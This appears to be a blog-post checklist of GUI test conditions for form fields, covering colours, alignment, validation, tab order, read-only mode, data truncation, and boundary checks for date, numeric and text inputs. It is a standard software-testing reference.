•Move the Mouse Cursor over all Enterable Text Boxes. Cursor should change from arrow to Insert Bar
•If it doesn't then the text in the box should be grey or non-updateable.
•Are the field prompts the correct color?
•Are the field backgrounds the correct color?
•In read-only mode, are the field prompts the correct color?
•In read-only mode, are the field backgrounds the correct color?
•Are all the field prompts aligned perfectly on the screen?
•Are all the field edits boxes aligned perfectly on the screen?
•Are all the field prompts spelt correctly?
•Are all character or alpha-numeric fields left justified? This is the default unless otherwise specified.
•Are all numeric fields right justified? This is the default unless otherwise specified.
•Is all the micro help text spelt correctly on this screen?
•Is all the error message text spelt correctly on this screen?
•Is all users input captured in UPPER case or lower case consistently?
•Assure that the password entered is visible in encrypted format.
2. Validation Conditions
•Does a failure of validation on every field cause a sensible user error message?
•Is the user required to fix entries which have failed validation tests?
•Have any fields got multiple validation rules and if so are all rules being applied?
•If the user enters an invalid value and clicks on the OK button (i.e. does not TAB off the field) is the invalid entry identified and highlighted correctly with an error message?
•Validation consistently applied at screen level unless specifically required at field level?
•For all numeric fields check whether negative numbers can and should be able to be entered.
•For all numeric fields check the minimum and maximum values and also some mid-range values
allowable?
•For all character/alphanumeric fields check the field to ensure that there is a character limit specified and that this limit is exactly correct for the specified database size?
•Do all mandatory fields require user input?
3. Navigation Conditions
•Does the Tab Order specified on the screen go in sequence from Top Left to bottom right? This is the default unless otherwise specified.
4. Usability Condition
•Is all date entry required in the correct format?
•Are all read-only fields avoided in the TAB sequence?
•Are all disabled fields avoided in the TAB sequence?
•Can the cursor be placed in the micro help text box by clicking on the text box with the mouse?
•Can the cursor be placed in read-only fields by clicking in the field with the mouse?
•Is the cursor positioned in the first input field or control when the screen is opened?
•SHIFT and Arrow should Select Characters. Selection should also be possible with mouse. Double Click should select all text in box.
5. Data Integrity Conditions
•Check the maximum field lengths to ensure that there are no truncated characters?
•Where the database requires a value (other than null) then this should be defaulted into fields. The user must either enter an alternative valid value or leave the default value intact.
•Check maximum and minimum field values for numeric fields?
•If numeric fields accept negative values can these be stored correctly on the database and does it make sense for the field to accept negative numbers?
•If a particular set of data is saved to the database check that each value gets saved fully to the database. i.e. Beware of truncation (of strings) and rounding of numeric values.
6. Modes (Editable Read-only) Conditions
•Are the screen and field colors adjusted correctly for read-only mode?
•Are all fields and controls disabled in read-only mode?
•Check that no validation is performed in read-only mode.
7. General Conditions
•Assure that the Tab key sequence which traverses the screens does so in a logical way.
•Errors on continue will cause user to be returned to the tab and the focus should be on the field causing the error. (i.e. the tab is opened, highlighting the field with the error on it)
•All fonts to be the same
8. Specific Field Tests
8.1. Date Field Checks
•Assure that leap years are validated correctly & do not cause errors/miscalculations
•Assure that month code 00 and 13 are validated correctly & do not cause errors/miscalculations
•Assure that 00 and 13 are reported as errors
•Assure that day values 00 and 32 are validated correctly & do not cause errors/miscalculations
•Assure that Feb. 28, 29, 30 are validated correctly & do not cause errors/ miscalculations
•Assure that Feb. 30 is reported as an error
•Assure that century change is validated correctly & does not cause errors/ miscalculations
•Assure that out of cycle dates are validated correctly & do not cause errors/miscalculations
8.2. Numeric Fields
•Assure that lowest and highest values are handled correctly
•Assure that invalid values are logged and reported
•Assure that valid values are handles by the correct procedure
•Assure that numeric fields with a blank in position 1 are processed or reported as an error
•Assure that fields with a blank in the last position are processed or reported as an error an error
•Assure that both + and - values are correctly processed
•Assure that division by zero does not occur
•Include value zero in all calculations
•Include at least one in-range value
•Include maximum and minimum range values
•Include out of range values above the maximum and below the minimum
•Assure that upper and lower values in ranges are handled correctly
8.3. Alpha Field Checks
•Use blank and non-blank data
•Include lowest and highest values
•Include invalid characters & symbols
•Include valid characters
•Include data items with first position blank
•Include data items with last position blank
•Use html tags.
Subscribe to:
Posts (Atom)
